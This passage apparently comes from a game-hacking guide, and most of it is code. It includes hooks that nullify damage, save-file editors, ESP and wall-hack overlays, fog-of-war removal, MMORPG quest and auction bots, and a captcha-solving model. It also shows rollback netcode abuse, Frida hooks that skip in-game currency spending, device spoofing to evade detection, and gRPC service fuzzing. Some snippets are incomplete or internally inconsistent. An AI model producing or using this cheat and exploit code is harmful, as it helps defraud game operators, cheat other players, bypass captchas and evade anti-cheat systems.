void HookScriptFunction(const char* className, const char* funcName, ScriptFunction_t hook) {
CClass* pClass = CRTTISystem::Get()->GetClass(CName(className));
CFunction* pFunc = pClass->GetFunction(CName(funcName));
// Replace function pointer
*(ScriptFunction_t*)&pFunc->m_pFunc = hook;
}
// Hook player damage
void Hook_ApplyDamage(IScriptable* context, CStackFrame* frame, void* ret, void* unk) {
float damage;
frame->GetParameter(&damage);
// Nullify damage (god mode)
damage = 0.0f;
// Continue with modified parameter
Original_ApplyDamage(context, frame, &damage, unk);
}
Save Game Modification
// Cyberpunk save structure
struct SaveHeader {
uint32_t magic; // 'SAVE'
uint32_t version;
uint64_t timestamp;
char characterName[64];
};
struct InventoryItem {
uint64_t itemId;
uint32_t quantity;
uint32_t quality; // 0=Common, 1=Uncommon, 2=Rare, 3=Epic, 4=Legendary
};
void ModifySave(const char* savePath) {
std::ifstream file(savePath, std::ios::binary);
std::vector<uint8_t> data((std::istreambuf_iterator<char>(file)),
std::istreambuf_iterator<char>());
// Find inventory section (signature scan)
const uint8_t inventoryMarker[] = {0x49, 0x4E, 0x56, 0x54}; // "INVT"
auto it = std::search(data.begin(), data.end(),
std::begin(inventoryMarker), std::end(inventoryMarker));
if (it != data.end()) {
size_t offset = std::distance(data.begin(), it) + 4;
// Modify all items to legendary
for (size_t i = offset; i < data.size() - sizeof(InventoryItem); i += sizeof(InventoryItem)) {
InventoryItem* item = (InventoryItem*)&data[i];
if (item->itemId != 0) {
item->quality = 4; // Legendary
item->quantity = 999;
}
}
}
// Write modified save
std::ofstream outFile(savePath, std::ios::binary);
outFile.write((char*)data.data(), data.size());
}
id Tech (Doom Eternal, Quake Champions)
id Tech engines are known for their performance and moddability.
Entity System Reversing
// id Tech entity structure
struct idEntity {
int entityNumber;
int entityDefNumber;
const char* name;
idVec3 origin;
idMat3 axis;
int health;
int maxHealth;
};
// Game uses entity dictionary
class idGameLocal {
public:
idEntity* entities[MAX_GENTITIES];
int numEntities;
};
void ScanEntities() {
idGameLocal* game = GetGameLocal();
for (int i = 0; i < game->numEntities; i++) {
idEntity* ent = game->entities[i];
if (ent && ent->health > 0) {
printf("Entity %d: %s at (%.2f, %.2f, %.2f) HP: %d/%d\n",
ent->entityNumber,
ent->name,
ent->origin.x, ent->origin.y, ent->origin.z,
ent->health, ent->maxHealth);
}
}
}
Console Command Injection
// id Tech console system
class idCmdSystem {
public:
virtual void ExecuteCommand(const char* cmd) = 0;
virtual void AddCommand(const char* name, void (*func)(const idCmdArgs&)) = 0;
};
void RegisterCheatCommands() {
idCmdSystem* cmdSystem = GetCmdSystem();
// Add god mode command
cmdSystem->AddCommand("god", [](const idCmdArgs& args) {
idPlayer* player = GetLocalPlayer();
player->godmode = !player->godmode;
printf("God mode: %s\n", player->godmode ? "ON" : "OFF");
});
// Add noclip
cmdSystem->AddCommand("noclip", [](const idCmdArgs& args) {
idPlayer* player = GetLocalPlayer();
player->noclip = !player->noclip;
player->physicsObj.SetClipModel(nullptr);
});
// Give all weapons
cmdSystem->AddCommand("give all", [](const idCmdArgs& args) {
idPlayer* player = GetLocalPlayer();
for (int i = 0; i < WEAPON_COUNT; i++) {
player->GiveWeapon(i);
}
});
}
.resources File Manipulation
// id Tech 7 uses .resources container format
struct ResourceHeader {
uint64_t magic; // 'idResource'
uint32_t version;
uint32_t fileCount;
uint64_t stringsOffset;
uint64_t dataOffset;
};
struct ResourceEntry {
uint64_t nameHash;
uint64_t offset;
uint64_t compressedSize;
uint64_t uncompressedSize;
uint32_t compressionType; // 0=None, 1=Oodle, 2=Zlib
};
void ExtractResources(const char* resourcePath) {
std::ifstream file(resourcePath, std::ios::binary);
ResourceHeader header;
file.read((char*)&header, sizeof(header));
for (uint32_t i = 0; i < header.fileCount; i++) {
ResourceEntry entry;
file.read((char*)&entry, sizeof(entry));
// Read compressed data
std::vector<uint8_t> compressed(entry.compressedSize);
file.seekg(entry.offset);
file.read((char*)compressed.data(), entry.compressedSize);
// Decompress (Oodle)
std::vector<uint8_t> decompressed(entry.uncompressedSize);
OodleLZ_Decompress(compressed.data(), entry.compressedSize,
decompressed.data(), entry.uncompressedSize);
// Save file
char filename[256];
sprintf(filename, "extracted/%016llX.bin", entry.nameHash);
std::ofstream out(filename, std::ios::binary);
out.write((char*)decompressed.data(), entry.uncompressedSize);
}
}
Godot 4 Deep Dive
Godot is open-source, making reverse engineering easier but still requires understanding its architecture.
GDScript Bytecode Modification
# Decompile .pck files
import struct
def extract_pck(pck_path):
with open(pck_path, 'rb') as f:
# Read PCK header
magic = f.read(4) # 'GDPC'
version = struct.unpack('<I', f.read(4))[0]
# Skip to file table
f.seek(16)
file_count = struct.unpack('<I', f.read(4))[0]
for i in range(file_count):
# Read file entry
path_len = struct.unpack('<I', f.read(4))[0]
path = f.read(path_len).decode('utf-8')
offset = struct.unpack('<Q', f.read(8))[0]
size = struct.unpack('<Q', f.read(8))[0]
# Extract file
current_pos = f.tell()
f.seek(offset)
data = f.read(size)
# Save extracted file
os.makedirs(os.path.dirname(path), exist_ok=True)
with open(path, 'wb') as out:
out.write(data)
f.seek(current_pos)
Node Tree Manipulation
// Hook Godot node system
class Node {
public:
String name;
Node* parent;
Vector<Node*> children;
virtual void _process(float delta) = 0;
};
// Find player node
Node* FindPlayerNode() {
Node* root = SceneTree::get_singleton()->get_root();
return root->find_node("Player", true, false);
}
// Inject cheat node
class CheatNode : public Node {
public:
void _process(float delta) override {
// Get player
Node* player = FindPlayerNode();
if (player) {
// Modify health
Variant health = player->get("health");
player->set("health", 999);
// Teleport
if (Input::is_key_pressed(KEY_T)) {
Vector3 pos = player->get("position");
pos.y += 10;
player->set("position", pos);
}
}
}
};
GDExtension Hook
// Create GDExtension to hook Godot functions
#include <godot_cpp/godot.hpp>
#include <godot_cpp/core/class_db.hpp>
class CheatExtension : public Node {
GDCLASS(CheatExtension, Node)
protected:
static void _bind_methods() {
ClassDB::bind_method(D_METHOD("enable_esp"), &CheatExtension::enable_esp);
}
public:
void enable_esp() {
// Hook rendering
RenderingServer* rs = RenderingServer::get_singleton();
// Get all Character3D nodes
Array players = get_tree()->get_nodes_in_group("players");
for (int i = 0; i < players.size(); i++) {
Node3D* player = Object::cast_to<Node3D>(players[i]);
if (player) {
// Create ESP box
MeshInstance3D* box = memnew(MeshInstance3D);
BoxMesh* mesh = memnew(BoxMesh);
box->set_mesh(mesh);
// Make it render through walls
StandardMaterial3D* mat = memnew(StandardMaterial3D);
mat->set_flag(StandardMaterial3D::FLAG_DISABLE_DEPTH_TEST, true);
mat->set_albedo(Color(1, 0, 0, 0.5));
box->set_material_override(mat);
player->add_child(box);
}
}
}
};
Engine Comparison Matrix
| Engine | Reflection | Scripting | Moddability | RE Difficulty |
|---|---|---|---|---|
| Source 2 | Schema | Lua/JS | Medium | Medium |
| Frostbite | TypeInfo | Limited | Low | Hard |
| REDengine | RTTI | RED4ext | Medium | Medium |
| id Tech | None | Console | High | Easy |
| Godot | Full | GDScript | Very High | Very Easy |
| Unreal | Reflection | Blueprints | High | Easy |
| Unity | Reflection | C# | Very High | Easy |
Genre-Specific Exploitation Techniques
Different game genres require specialized approaches due to unique mechanics and netcode.
Battle Royale (Fortnite, PUBG, Apex, Warzone)
Zone Prediction & Circle ESP
import numpy as np
class ZonePredictor:
def __init__(self):
self.zone_history = []
def predict_next_zone(self, current_zone, prev_zone):
# Analyze zone shrink pattern
center_current = np.array(current_zone['center'])
center_prev = np.array(prev_zone['center'])
# Calculate drift vector
drift = center_current - center_prev
# Predict next center (zones tend to continue drifting)
predicted_center = center_current + drift * 0.8
predicted_radius = current_zone['radius'] * 0.5
return {
'center': predicted_center.tolist(),
'radius': predicted_radius,
'time_to_shrink': current_zone['time_remaining']
}
def optimal_rotation_path(self, player_pos, predicted_zone):
# Calculate shortest safe path considering terrain
path = []
current = np.array(player_pos)
target = np.array(predicted_zone['center'])
# A* pathfinding with zone damage avoidance
while np.linalg.norm(current - target) > 10:
direction = (target - current) / np.linalg.norm(target - current)
current += direction * 5
path.append(current.tolist())
return path
Loot ESP with Priority System
// Hook loot spawn system
struct LootItem {
Vector3 position;
uint32_t itemId;
uint32_t rarity; // 0=Common, 1=Rare, 2=Epic, 3=Legendary
char name[64];
};
class LootESP {
private:
std::vector<LootItem> m_items;
public:
void ScanLootItems() {
UWorld* world = GetWorld();
TArray<AActor*> actors;
UGameplayStatics::GetAllActorsOfClass(world, ALootItem::StaticClass(), actors);
m_items.clear();
for (AActor* actor : actors) {
ALootItem* loot = Cast<ALootItem>(actor);
LootItem item;
item.position = loot->GetActorLocation();
item.itemId = loot->GetItemID();
item.rarity = loot->GetRarity();
strcpy(item.name, loot->GetItemName());
// Priority filtering
if (item.rarity >= 2 || IsWeapon(item.itemId)) {
m_items.push_back(item);
}
}
}
void Render() {
for (const auto& item : m_items) {
// Distance culling
float distance = Vector3::Distance(item.position, GetLocalPlayerPosition());
if (distance > 200.0f) continue;
// World to screen
Vector2 screen;
if (WorldToScreen(item.position, screen)) {
// Color by rarity
ImVec4 color = GetRarityColor(item.rarity);
// Draw box and text
ImGui::GetBackgroundDrawList()->AddCircleFilled(
ImVec2(screen.x, screen.y), 5, ImGui::ColorConvertFloat4ToU32(color));
char label[128];
sprintf(label, "%s [%.0fm]", item.name, distance);
ImGui::GetBackgroundDrawList()->AddText(
ImVec2(screen.x + 10, screen.y),
ImGui::ColorConvertFloat4ToU32(color),
label);
}
}
}
};
Player Count Tracker
// Monitor alive player count for endgame strategy
class PlayerTracker {
private:
struct PlayerInfo {
uint64_t playerId;
bool isAlive;
Vector3 lastKnownPos;
float lastSeenTime;
};
std::unordered_map<uint64_t, PlayerInfo> m_players;
public:
void Update() {
UGameState* gameState = GetGameState();
TArray<APlayerState*> playerStates = gameState->PlayerArray;
int aliveCount = 0;
for (APlayerState* ps : playerStates) {
uint64_t id = ps->PlayerId;
if (ps->bIsSpectator || ps->bOnlySpectator) {
m_players[id].isAlive = false;
} else {
m_players[id].isAlive = true;
m_players[id].playerId = id;
aliveCount++;
// Update position if visible
APawn* pawn = ps->GetPawn();
if (pawn) {
m_players[id].lastKnownPos = pawn->GetActorLocation();
m_players[id].lastSeenTime = GetGameTime();
}
}
}
// Display info
ImGui::Begin("Player Tracker");
ImGui::Text("Players Alive: %d/%d", aliveCount, m_players.size());
// List recently seen players
ImGui::Separator();
for (const auto& [id, info] : m_players) {
if (!info.isAlive) continue;
float timeSinceSeen = GetGameTime() - info.lastSeenTime;
if (timeSinceSeen < 30.0f) {
ImGui::Text("Player %llu - Last seen %.1fs ago", id, timeSinceSeen);
}
}
ImGui::End();
}
};
MMORPG Bot Automation
Mesh Navigation & Pathfinding
import numpy as np
from collections import deque
class NavMesh:
def __init__(self, mesh_data):
self.triangles = mesh_data['triangles']
self.vertices = mesh_data['vertices']
self.adjacency = self._build_adjacency()
def _build_adjacency(self):
adj = {}
for i, tri in enumerate(self.triangles):
adj[i] = []
for j, other_tri in enumerate(self.triangles):
if i == j:
continue
# Check if triangles share an edge
shared = set(tri) & set(other_tri)
if len(shared) == 2:
adj[i].append(j)
return adj
def find_path(self, start_pos, end_pos):
# Find starting and ending triangles
start_tri = self._point_in_triangle(start_pos)
end_tri = self._point_in_triangle(end_pos)
if start_tri is None or end_tri is None:
return None
# A* search through nav mesh
open_set = [(0, start_tri)]
came_from = {}
g_score = {start_tri: 0}
while open_set:
_, current = heapq.heappop(open_set)
if current == end_tri:
return self._reconstruct_path(came_from, current, start_pos, end_pos)
for neighbor in self.adjacency[current]:
tentative_g = g_score[current] + self._distance(current, neighbor)
if neighbor not in g_score or tentative_g < g_score[neighbor]:
came_from[neighbor] = current
g_score[neighbor] = tentative_g
f_score = tentative_g + self._heuristic(neighbor, end_tri)
heapq.heappush(open_set, (f_score, neighbor))
return None
def _reconstruct_path(self, came_from, current, start_pos, end_pos):
path = [end_pos]
while current in came_from:
# Get portal between triangles
prev = came_from[current]
portal = self._get_portal(prev, current)
path.append(np.mean(portal, axis=0).tolist())
current = prev
path.append(start_pos)
return list(reversed(path))
Quest Automation Framework
class QuestBot {
private:
enum BotState {
IDLE,
NAVIGATING,
COMBAT,
LOOTING,
TURNING_IN
};
BotState m_state;
std::queue<Vector3> m_path;
public:
void Update(float deltaTime) {
switch (m_state) {
case IDLE:
CheckForQuests();
break;
case NAVIGATING:
FollowPath();
if (ReachedDestination()) {
m_state = COMBAT;
}
break;
case COMBAT:
EngageEnemies();
if (NoEnemiesNearby()) {
m_state = LOOTING;
}
break;
case LOOTING:
CollectLoot();
if (QuestObjectiveComplete()) {
m_state = TURNING_IN;
PathToQuestGiver();
}
break;
case TURNING_IN:
TurnInQuest();
m_state = IDLE;
break;
}
}
void EngageEnemies() {
// Find nearest enemy matching quest criteria
NPC* target = FindQuestEnemy();
if (target && !target->IsDead()) {
// Face target
Vector3 direction = target->GetPosition() - GetPlayerPosition();
SetPlayerRotation(direction);
// Use optimal rotation
UseOptimalSkillRotation(target);
}
}
void UseOptimalSkillRotation(NPC* target) {
PlayerClass* player = GetLocalPlayer();
// Skill priority based on cooldowns and damage
if (player->GetSkillCooldown(SKILL_ULTIMATE) == 0 && target->GetHealthPercent() > 0.5f) {
player->CastSkill(SKILL_ULTIMATE, target);
}
else if (player->GetSkillCooldown(SKILL_DOT) == 0) {
player->CastSkill(SKILL_DOT, target);
}
else if (player->GetMana() > 50) {
player->CastSkill(SKILL_FILLER, target);
}
else {
player->CastSkill(SKILL_AUTO_ATTACK, target);
}
}
};
Economy Manipulation & Market Bot
class MarketBot:
def __init__(self, api_client):
self.client = api_client
self.inventory = {}
self.price_history = {}
def analyze_market(self):
# Fetch current listings
listings = self.client.get_auction_house_listings()
opportunities = []
for item_id, prices in listings.items():
# Calculate statistics
prices_sorted = sorted([p['price'] for p in prices])
median = np.median(prices_sorted)
q1 = np.percentile(prices_sorted, 25)
# Find underpriced items (below Q1)
for listing in prices:
if listing['price'] < q1 * 0.9:
profit_margin = (median - listing['price']) / listing['price']
if profit_margin > 0.2: # 20% profit margin
opportunities.append({
'item_id': item_id,
'buy_price': listing['price'],
'sell_price': median,
'profit': median - listing['price'],
'listing_id': listing['id']
})
# Sort by profit and execute
opportunities.sort(key=lambda x: x['profit'], reverse=True)
return opportunities[:10]
def flip_items(self):
opportunities = self.analyze_market()
for opp in opportunities:
try:
# Buy underpriced item
self.client.buy_item(opp['listing_id'])
# Relist at median price
self.client.create_listing(
item_id=opp['item_id'],
price=opp['sell_price'],
quantity=1
)
print(f"Flipped {opp['item_id']}: Bought {opp['buy_price']}, Sold {opp['sell_price']}, Profit: {opp['profit']}")
except Exception as e:
print(f"Failed to flip item: {e}")
Captcha Bypass (ML-based)
import tensorflow as tf
from PIL import Image
class CaptchaSolver:
def __init__(self, model_path):
self.model = tf.keras.models.load_model(model_path)
def solve_captcha(self, image_data):
# Preprocess image
img = Image.open(io.BytesIO(image_data))
img = img.resize((200, 60))
img_array = np.array(img) / 255.0
img_array = np.expand_dims(img_array, axis=0)
# Predict
prediction = self.model.predict(img_array)
# Decode prediction to text
characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
result = ""
for pred in prediction:
result += characters[np.argmax(pred)]
return result
def train_solver(self, training_data):
# Create CNN model for captcha recognition
model = tf.keras.Sequential([
tf.keras.layers.Conv2D(32, (3, 3), activation='relu', input_shape=(60, 200, 3)),
tf.keras.layers.MaxPooling2D((2, 2)),
tf.keras.layers.Conv2D(64, (3, 3), activation='relu'),
tf.keras.layers.MaxPooling2D((2, 2)),
tf.keras.layers.Flatten(),
tf.keras.layers.Dense(128, activation='relu'),
tf.keras.layers.Dropout(0.5),
tf.keras.layers.Dense(36, activation='softmax') # 26 letters + 10 digits
])
model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])
# Train model
model.fit(training_data['images'], training_data['labels'], epochs=50, batch_size=32)
model.save('captcha_solver.h5')
RTS (StarCraft, Age of Empires)
Fog of War Removal
// Hook visibility system
class FogOfWarHack {
public:
void RevealMap() {
GameWorld* world = GetGameWorld();
// Method 1: Set all tiles to visible
for (int x = 0; x < world->mapWidth; x++) {
for (int y = 0; y < world->mapHeight; y++) {
world->visibilityMap[x][y] = VISIBILITY_VISIBLE;
}
}
// Method 2: Hook line-of-sight calculations
HookFunction("CalculateLineOfSight", Hook_CalculateLineOfSight);
}
static bool Hook_CalculateLineOfSight(Vector2 from, Vector2 to) {
// Always return true (can see everything)
return true;
}
void RevealEnemyUnits() {
TArray<Unit*> allUnits = GetAllUnits();
for (Unit* unit : allUnits) {
if (unit->GetOwner() != GetLocalPlayer()) {
// Force enemy units to be visible
unit->SetVisibility(true);
unit->SetMinimapVisible(true);
}
}
}
};
Production Queue Reading
struct ProductionQueueItem {
uint32_t unitType;
float progress; // 0.0 to 1.0
float timeRemaining;
};
class ProductionESP {
public:
void ScanEnemyProduction() {
TArray<Building*> buildings = GetAllBuildings();
for (Building* building : buildings) {
if (building->GetOwner() == GetLocalPlayer()) continue;
// Read production queue
std::vector<ProductionQueueItem> queue = building->GetProductionQueue();
if (!queue.empty()) {
Vector2 screenPos;
if (WorldToScreen(building->GetPosition(), screenPos)) {
ImGui::SetCursorPos(ImVec2(screenPos.x, screenPos.y));
for (const auto& item : queue) {
char text[64];
sprintf(text, "%s (%.0f%%)",
GetUnitName(item.unitType),
item.progress * 100);
ImGui::Text("%s", text);
}
}
}
}
}
};
APM Automation (Macro Bot)
class MacroBot:
def __init__(self):
self.actions_per_minute = 0
self.action_queue = []
def optimize_build_order(self, strategy):
# Perfect build order execution
build_orders = {
'rush': [
(0, 'train_worker'),
(12, 'build_barracks'),
(14, 'train_worker'),
(16, 'train_marine'),
(18, 'train_marine'),
# ...
],
'economy': [
(0, 'train_worker'),
(15, 'build_expansion'),
# ...
]
}
return build_orders.get(strategy, [])
def execute_macro_cycle(self):
# Automated macro tasks
self.train_workers()
self.spend_resources()
self.expand_bases()
self.tech_upgrades()
self.inject_larvae() # For Zerg
def train_workers(self):
bases = get_all_bases()
for base in bases:
if base.is_idle() and can_afford('worker'):
base.train_unit('worker')
self.actions_per_minute += 1
def spend_resources(self):
resources = get_current_resources()
# Prevent resource banking
if resources['minerals'] > 400:
# Build production buildings
if can_afford('barracks'):
build_structure('barracks', find_build_location())
self.actions_per_minute += 2
if resources['gas'] > 200:
# Tech up
if can_afford('factory'):
build_structure('factory', find_build_location())
self.actions_per_minute += 2
Fighting Games (Street Fighter, Tekken, Guilty Gear)
Frame Data Reading
struct FrameData {
int startup; // Frames until attack becomes active
int active; // Frames attack is active
int recovery; // Frames until character can act again
int onBlock; // Frame advantage when blocked
int onHit; // Frame advantage when it hits
bool invincible; // Has invincibility frames
};
class FrameDataReader {
public:
FrameData ReadMoveData(Player* player, int moveId) {
// Hook into game's frame data table
FrameDataTable* table = GetFrameDataTable();
FrameData data;
MoveInfo* move = table->GetMove(player->characterId, moveId);
data.startup = move->startupFrames;
data.active = move->activeFrames;
data.recovery = move->recoveryFrames;
data.onBlock = move->blockAdvantage;
data.onHit = move->hitAdvantage;
data.invincible = move->hasInvincibility;
return data;
}
void DisplayFrameAdvantage() {
Player* p1 = GetPlayer(0);
Player* p2 = GetPlayer(1);
int p1Frame = p1->GetCurrentFrame();
int p2Frame = p2->GetCurrentFrame();
int advantage = p1Frame - p2Frame;
ImGui::Begin("Frame Data");
ImGui::Text("Frame Advantage: %+d", advantage);
if (advantage > 0) {
ImGui::TextColored(ImVec4(0, 1, 0, 1), "Player 1 Advantage");
} else if (advantage < 0) {
ImGui::TextColored(ImVec4(1, 0, 0, 1), "Player 2 Advantage");
}
ImGui::End();
}
};
Input Prediction
class InputPredictor {
private:
std::deque<InputState> m_inputHistory;
public:
void RecordInput(InputState input) {
m_inputHistory.push_back(input);
if (m_inputHistory.size() > 60) { // Keep 1 second of history at 60 FPS
m_inputHistory.pop_front();
}
}
InputState PredictNextInput() {
// Analyze patterns in input history
if (m_inputHistory.size() < 10) {
return InputState();
}
// Detect common patterns (e.g., quarter-circle motions)
if (DetectQuarterCircle(m_inputHistory)) {
// Opponent is likely doing a special move
return PredictSpecialMove();
}
if (DetectDashInput(m_inputHistory)) {
return PredictDashDirection();
}
// Use ML model for complex prediction
return MLPredictInput(m_inputHistory);
}
bool DetectQuarterCircle(const std::deque<InputState>& history) {
// Check for down, down-forward, forward sequence
if (history.size() < 3) return false;
return history[history.size()-3].direction == DIR_DOWN &&
history[history.size()-2].direction == DIR_DOWN_FORWARD &&
history[history.size()-1].direction == DIR_FORWARD;
}
};
Rollback Netcode Abuse
class RollbackExploit {
public:
void InduceRollback() {
// Artificially create network conditions that trigger rollback
// This can confuse opponent's inputs
NetworkManager* netMgr = GetNetworkManager();
// Delay packets intentionally
netMgr->SetPacketDelay(50); // 50ms delay
// Or drop packets to force resync
netMgr->DropNextPackets(3);
}
void ExploitInputPriority() {
// In rollback netcode, local inputs have priority
// Abuse this by buffering advantageous inputs
InputManager* inputMgr = GetInputManager();
// Buffer a reversal input
InputState reversal;
reversal.buttons = BUTTON_SPECIAL;
reversal.direction = DIR_FORWARD;
// This will execute on the exact frame of opponent's attack ending
inputMgr->BufferInput(reversal, 1); // 1-frame window
}
};
Racing Games (Forza, Gran Turismo, iRacing)
Telemetry Injection
struct TelemetryData {
float speed;
float rpm;
float gear;
Vector3 position;
Vector3 velocity;
float steering;
float throttle;
float brake;
};
class TelemetryHack {
public:
void ModifyTelemetry(TelemetryData& data) {
// Remove speed limiter
if (data.speed > MAX_SPEED) {
data.speed = MAX_SPEED; // Don't modify, would be detected
}
// Optimal gear shifting
if (ShouldShiftUp(data.rpm, data.gear)) {
SimulateGearShift(data.gear + 1);
}
// Perfect racing line assistance
Vector3 optimalPosition = CalculateRacingLine(data.position, GetCurrentTrack());
AdjustSteering(optimalPosition, data.position);
}
Vector3 CalculateRacingLine(Vector3 currentPos, Track* track) {
// Use racing line algorithm
TrackSegment* segment = track->GetSegment(currentPos);
// Apex calculation
if (segment->isTurn) {
// Late apex for faster exit speed
float apexRatio = 0.6f; // 60% through turn
return segment->GetApexPoint(apexRatio);
}
// Straight: maximize acceleration
return segment->centerLine;
}
};
Ghost Car Manipulation
class GhostCarHack {
public:
void RecordOptimalLap() {
// Record inputs, not positions
// This allows for perfect reproduction
std::vector<InputFrame> recording;
while (!LapComplete()) {
InputFrame frame;
frame.steering = GetSteeringInput();
frame.throttle = GetThrottleInput();
frame.brake = GetBrakeInput();
frame.gear = GetCurrentGear();
frame.timestamp = GetGameTime();
recording.push_back(frame);
}
SaveRecording(recording, "optimal_lap.ghost");
}
void PlaybackGhostCar() {
std::vector<InputFrame> recording = LoadRecording("optimal_lap.ghost");
size_t frameIndex = 0;
while (frameIndex < recording.size()) {
InputFrame& frame = recording[frameIndex];
// Inject inputs
SetSteeringInput(frame.steering);
SetThrottleInput(frame.throttle);
SetBrakeInput(frame.brake);
frameIndex++;
Sleep(16); // 60 FPS
}
}
};
Modern Network Protocol Exploitation
QUIC/HTTP3 Traffic Interception
QUIC is UDP-based and encrypted by default, requiring TLS inspection at application layer.
from scapy.all import *
import dpkt
class QUICInterceptor:
def __init__(self):
self.connections = {}
def intercept_quic(self, packet):
if packet.haslayer(UDP):
udp = packet[UDP]
# QUIC typically uses port 443
if udp.dport == 443 or udp.sport == 443:
try:
# Parse QUIC header
data = bytes(udp.payload)
# Check for QUIC packet (first byte flags)
if len(data) > 0 and (data[0] & 0xC0) != 0:
self.parse_quic_packet(data)
except:
pass
def parse_quic_packet(self, data):
# Extract connection ID
header_form = (data[0] & 0x80) >> 7
if header_form == 1: # Long header
version = int.from_bytes(data[1:5], 'big')
dcid_len = data[5]
dcid = data[6:6+dcid_len]
print(f"QUIC Connection: Version {version}, DCID {dcid.hex()}")
# Track connection for later manipulation
self.connections[dcid.hex()] = {
'version': version,
'packets': []
}
gRPC API Reverse Engineering
import grpc
from grpc_reflection.v1alpha import reflection_pb2, reflection_pb2_grpc
class GRPCReverser:
def __init__(self, target_host):
self.host = target_host
self.channel = grpc.insecure_channel(target_host)
def discover_services(self):
# Use server reflection to discover services
stub = reflection_pb2_grpc.ServerReflectionStub(self.channel)
request = reflection_pb2.ServerReflectionRequest(
list_services=""
)
responses = stub.ServerReflectionInfo(iter([request]))
services = []
for response in responses:
if response.HasField('list_services_response'):
for service in response.list_services_response.service:
services.append(service.name)
print(f"Found service: {service.name}")
return services
def fuzz_service(self, service_name, method_name):
# Get method descriptor
stub = reflection_pb2_grpc.ServerReflectionStub(self.channel)
# Request file descriptor
request = reflection_pb2.ServerReflectionRequest(
file_containing_symbol=f"{service_name}.{method_name}"
)
responses = stub.ServerReflectionInfo(iter([request]))
for response in responses:
if response.HasField('file_descriptor_response'):
# Parse proto and fuzz
self.fuzz_method(service_name, method_name, response)
Protobuf Schema Extraction
import struct
class ProtobufExtractor:
def __init__(self, binary_data):
self.data = binary_data
self.fields = {}
def extract_schema(self):
offset = 0
field_num = 1
while offset < len(self.data):
# Parse varint key
key, bytes_read = self._read_varint(offset)
offset += bytes_read
field_number = key >> 3
wire_type = key & 0x7
# Determine field type
if wire_type == 0: # Varint
value, bytes_read = self._read_varint(offset)
offset += bytes_read
self.fields[field_number] = ('int', value)
elif wire_type == 1: # 64-bit
value = struct.unpack('<d', self.data[offset:offset+8])[0]
offset += 8
self.fields[field_number] = ('double', value)
elif wire_type == 2: # Length-delimited (string/bytes/message)
length, bytes_read = self._read_varint(offset)
offset += bytes_read
value = self.data[offset:offset+length]
offset += length
# Try to decode as string
try:
value_str = value.decode('utf-8')
self.fields[field_number] = ('string', value_str)
except:
# Might be nested message
self.fields[field_number] = ('bytes', value.hex())
elif wire_type == 5: # 32-bit
value = struct.unpack('<f', self.data[offset:offset+4])[0]
offset += 4
self.fields[field_number] = ('float', value)
return self.fields
def _read_varint(self, offset):
result = 0
shift = 0
bytes_read = 0
while True:
byte = self.data[offset + bytes_read]
result |= (byte & 0x7F) << shift
bytes_read += 1
if (byte & 0x80) == 0:
break
shift += 7
return result, bytes_read
Cross-Platform & Emulation Exploitation
Proton/Wine Game Memory Access
# Wine memory mapping
wine_pid=$(pgrep -f "GameExecutable.exe")
wine_addr_base=$(grep heap /proc/$wine_pid/maps | head -1 | cut -d'-' -f1)
# Access game memory from Linux
gdb -p $wine_pid <<EOF
set \$base = 0x$wine_addr_base
# Read player health at offset
x/1xw \$base+0x12AB340
# Write god mode
set {int}(\$base+0x12AB340) = 999
continue
EOF
WSL2 Windows Game Exploitation
import ctypes
from ctypes import wintypes
# Access Windows process from WSL2
class WSL2GameHack:
def __init__(self, process_name):
self.kernel32 = ctypes.WinDLL('kernel32', use_last_error=True)
self.process_name = process_name
self.process_handle = None
def open_process(self):
# Get process ID via /proc/sys/fs/binfmt_misc/WSLInterop
snapshot = self.kernel32.CreateToolhelp32Snapshot(0x00000002, 0)
pe = PROCESSENTRY32()
pe.dwSize = ctypes.sizeof(PROCESSENTRY32)
if self.kernel32.Process32First(snapshot, ctypes.byref(pe)):
while True:
if pe.szExeFile.decode() == self.process_name:
self.process_handle = self.kernel32.OpenProcess(
0x1F0FFF, # PROCESS_ALL_ACCESS
False,
pe.th32ProcessID
)
break
if not self.kernel32.Process32Next(snapshot, ctypes.byref(pe)):
break
self.kernel32.CloseHandle(snapshot)
def read_memory(self, address, size):
buffer = ctypes.create_string_buffer(size)
bytes_read = ctypes.c_size_t()
self.kernel32.ReadProcessMemory(
self.process_handle,
ctypes.c_void_p(address),
buffer,
size,
ctypes.byref(bytes_read)
)
return buffer.raw
Android Emulator Hacking (BlueStacks, LDPlayer)
import frida
class EmulatorHack:
def __init__(self, emulator_type='bluestacks'):
self.emulator_type = emulator_type
self.device = None
def connect_emulator(self):
# Connect to emulator's Frida server
if self.emulator_type == 'bluestacks':
self.device = frida.get_device_manager().add_remote_device('127.0.0.1:5555')
elif self.emulator_type == 'ldplayer':
self.device = frida.get_device_manager().add_remote_device('127.0.0.1:5037')
return self.device
def hook_game(self, package_name):
session = self.device.attach(package_name)
script = session.create_script("""
// Hook Unity functions
var unityModule = Process.getModuleByName("libunity.so");
// Hook player damage
var takeDamage = unityModule.getExportByName("_ZN6Player10TakeDamageEf");
Interceptor.attach(takeDamage, {
onEnter: function(args) {
console.log("Taking damage: " + args[1]);
args[1] = ptr(0); // Nullify damage
}
});
// Hook currency spending
var spendGems = unityModule.getExportByName("_ZN8Inventory9SpendGemsEi");
Interceptor.replace(spendGems, new NativeCallback(function(amount) {
console.log("Preventing gem spend: " + amount);
return 1; // Always succeed without spending
}, 'int', ['int']));
""")
script.load()
def modify_emulator_props(self):
# Spoof device properties to avoid detection
adb_commands = [
'adb shell setprop ro.product.brand "samsung"',
'adb shell setprop ro.product.model "SM-G998B"',
'adb shell setprop ro.build.fingerprint "samsung/SM-G998B/beyond2q:12/SP1A.210812.016/G998BXXU5DVHG:user/release-keys"',
]
for cmd in adb_commands:
os.system(cmd)
Apple Silicon (Rosetta 2) Game Reversing
// Detect Rosetta translation
#include <sys/sysctl.h>
bool IsRunningUnderRosetta() {
int ret = 0;
size_t size = sizeof(ret);
if (sysctlbyname("sysctl.proc_translated", &ret, &size, NULL, 0) == -1) {
return false;
}
return ret == 1;
}
// Hook x86_64 instructions in Rosetta
class RosettaHook {
public:
void HookTranslatedCode() {
// Rosetta translates x86_64 to ARM64
// Find translation cache
void* rosetta_cache = FindRosettaCache();
// Patch translated ARM64 code
uint32_t* code = (uint32_t*)rosetta_cache;
// Replace instruction (e.g., damage calculation)
// MOV X0, #999 (health value)
*code = 0xD2807CE0; // MOV X0, #999
// Clear instruction cache
__builtin___clear_cache((char*)code, (char*)(code + 1));
}
void* FindRosettaCache() {
// Scan for Rosetta runtime
vm_address_t address = 0;
